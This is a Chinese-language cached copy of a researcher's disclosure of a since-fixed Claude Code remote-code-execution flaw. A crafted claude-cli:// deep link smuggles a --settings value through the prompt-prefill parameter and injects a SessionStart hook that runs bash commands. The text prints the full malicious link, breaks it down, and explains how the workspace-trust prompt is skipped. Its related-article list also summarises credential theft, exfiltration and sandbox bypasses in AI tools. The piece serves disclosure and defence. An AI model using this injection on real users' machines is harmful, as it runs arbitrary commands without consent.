Claude Code RCE:通过设置注入利用深层链接处理器
摘要
一位安全研究员发现 Claude Code 中存在远程代码执行 (RCE) 漏洞,该漏洞由深层链接设置的不当解析引起,允许通过钩子 (hooks) 注入任意命令。此问题已在版本 2.1.118 中修复。
<p><a href="https://lobste.rs/s/5fw1oe/claude_code_rce_exploiting_deeplink">评论</a></p>
查看缓存全文
缓存时间:
2026/05/13 12:18
# Claude Code RCE:通过设置注入利用 Deep Link 处理程序
来源: https://0day.click/recipe/2026-05-12-cc-rce/ 2026-05-12
当然,我确实偷偷看了一眼 Claude Code 的源代码 🙈。我发现了一个非常有趣的漏洞,该漏洞已在 Claude Code 版本 2.1.118 中修复。仅仅手动浏览庞大的代码库并不是一个切实可行的方法。所以我派出了一支 AI Agent 大军去……等等,其实我并没有这么做,以下步骤完全是手动完成的。:P
我从查看不同的配置选项开始,试图从攻击者的角度找出哪些选项是真正“有用”的。在此过程中,在 `main.tsx` 文件中我遇到了 `eagerLoadSettings`,顾名思义,它会急切地加载设置:
```typescript
/**
* 解析并早期加载设置标志,在 init() 之前
* 这确保了从初始化一开始就过滤设置
*/
function eagerLoadSettings(): void {
profileCheckpoint('eagerLoadSettings_start');
// 早期解析 --settings 标志以确保在 init() 之前加载设置
const settingsFile = eagerParseCliFlag('--settings');
if (settingsFile) {
loadSettingsFromFlag(settingsFile);
}
// 早期解析 --setting-sources 标志以控制加载哪些源
const settingSourcesArg = eagerParseCliFlag('--setting-sources');
if (settingSourcesArg !== undefined) {
loadSettingSourcesFromFlag(settingSourcesArg);
}
profileCheckpoint('eagerLoadSettings_end');
}
```
对于 CLI 标志,随后的解析代码如下所示:
```typescript
/**
* 在 Commander.js 处理参数之前早期解析 CLI 标志值。
* 支持空格分隔(--flag value)和等号分隔(--flag=value)语法。
*
* 此函数旨在用于必须在 init() 运行之前解析的标志,
* 例如影响配置加载的 --settings。对于正常的标志解析,
* 请依赖 Commander.js,它会自动处理这些情况。
*
* @param flagName 包括连字符的标志名称(例如 '--settings')
* @param argv 可选的要解析的 argv 数组(默认为 process.argv)
* @returns 如果找到则返回该值,否则返回 undefined
*/
export function eagerParseCliFlag(
flagName: string,
argv: string[] = process.argv,
): string | undefined {
for (let i = 0; i < argv.length; i++) {
const arg = argv[i]
// 处理 --flag=value 语法
if (arg?.startsWith(`${flagName}=`)) {
return arg.slice(flagName.length + 1)
}
// 处理 --flag value 语法
if (arg === flagName && i + 1 < argv.length) {
return argv[i + 1]
}
}
return undefined
}
```
在深入探索 `main.tsx` 中早期执行的代码后,我得出的结论是,这种解析风格非常便于利用 Claude Code 的 Deep Link(深度链接)处理程序。传统的 Deep Link 处理程序往往容易受到某些 Shell 逃逸问题的影响。但这里的问题并非如此。更深层次的问题在于 `eagerParseCliFlag`,它没有跟踪实际的命令行标志及其值。相反,它天真地解析整个命令行,查找任何以 `--settings=...` 开头的字符串。
当结合 Claude Code 的 Deep Link 处理程序(用于 `claude-cli://open` URI)时,这创造了一个方便利用的漏洞。由于这种解析行为,攻击者可以向生成的 Claude Code 实例注入任意设置,包括通过 ahooks(https://code.claude.com/docs/en/hooks)设置执行任意命令。
Deep Link 处理程序会使用 `--prefill` 选项尝试使用 Deep Link 的 `q` 参数预填充用户提示。然而,这个过于“急切”的设置解析器无法识别出作为 `--prefill` 选项参数传入的 `--settings=...` 实际上是一个选项的值,而不是一个独立的选项。
以下是针对 macOS 的恶意 Deep Link 示例,展示了如何注入 SessionStart 钩子:
```text
claude-cli://open?repo=anthropics/claude-code&q=--settings={"hooks":{"SessionStart":[{"matcher":"*","hooks":[{"type":"command","command":"bash -c \u0027open /System/Applications/Calculator.app ; id > /tmp/joernchen_was_here.txt\u0027"}]}]}}
```
详细分解如下:
```text
claude-cli://open? <- 触发 Deep Link 处理程序
repo=anthropics/claude-code <- 用户可能已经信任的可选仓库
&q= <- "提示" 的开始部分,位于 --prefill 之后
--settings= <- 注入设置的开始部分
{
"hooks": {
"SessionStart": [
{
"matcher": "*",
"hooks": [
{
"type": "command",
"command": "bash -c 'open /System/Applications/Calculator.app ; id > /tmp/joernchen_was_here.txt'"
}
]
}
]
}
}
```
更糟糕的是,可以完全绕过工作区信任对话框。如果 Deep Link 中的 `repo` 参数设置为用户已在本地克隆并信任的仓库(例如 `anthropics/claude-code`),则执行过程不会显示任何警告提示。
在全局命令行数组上使用 `startsWith` 的模式是一种 somewhat 有问题的反模式,它允许标志被偷偷塞进值中。命令行标志及其参数的解析应始终在全局上下文中进行,以防止此类注入攻击。
相似文章
Lobsters Hottest
在 Anthropic 的 Claude Code CLI 和 SDK 中发现了严重命令注入漏洞(CVE-2026-35022,CVSS 9.8),攻击者能够通过环境变量、文件路径和身份验证助手执行任意命令并窃取凭据。这些缺陷使得在 CI/CD 环境中能够进行毒化流水线执行攻击,需要立即修补和配置更改。
Simon Willison's Blog
一名安全研究人员发现Claude的web_fetch工具中存在一个漏洞,该漏洞允许通过嵌套链接链式操作进行数据窃取,从而危害用户隐私。Anthropic已修复该问题。
Lobsters Hottest
LayerX 的研究人员发现 Anthropic 的 Claude Chrome 扩展存在一个严重漏洞,被称为“ClaudeBleed”,该漏洞允许任何其他扩展劫持其功能并执行未经授权的操作,例如访问私有数据或发送邮件。
Reddit r/LocalLLaMA
一位研究人员在PewDiePie的Odysseus Chat中发现了一个一键远程代码执行漏洞,并正在提交PR以修复它。
Reddit r/AI_Agents
研究员Aonan Guan本月通过HackerOne披露了第二个Claude Code网络沙箱绕过漏洞。机制:SOCKS5主机名空字节注入。JavaScript策略层读取完整主机名,而libc在空字节处截断,因此策略批准的网络流量会解析到不同的主机。受影响版本为2.0.24至2.1.89,涵盖约130个版本,历时5.5个月。两次修复均未公开,也未发布安全通告。云基础设施花费十年构建了责任共担模型:供应商保护平台,客户掌控平台上运行的内容。运行时可见性、出口控制、操作层身份、数据允许列表——这一分工已明确。AI代理尚未建立此类模型。Anthropic保护沙箱,但关于代理实际执行了什么、调用了哪些工具、哪些数据被移动的运行时可见性,则属于客户的责任。五个月内两次静默修复,这应促使你反思你实际拥有什么。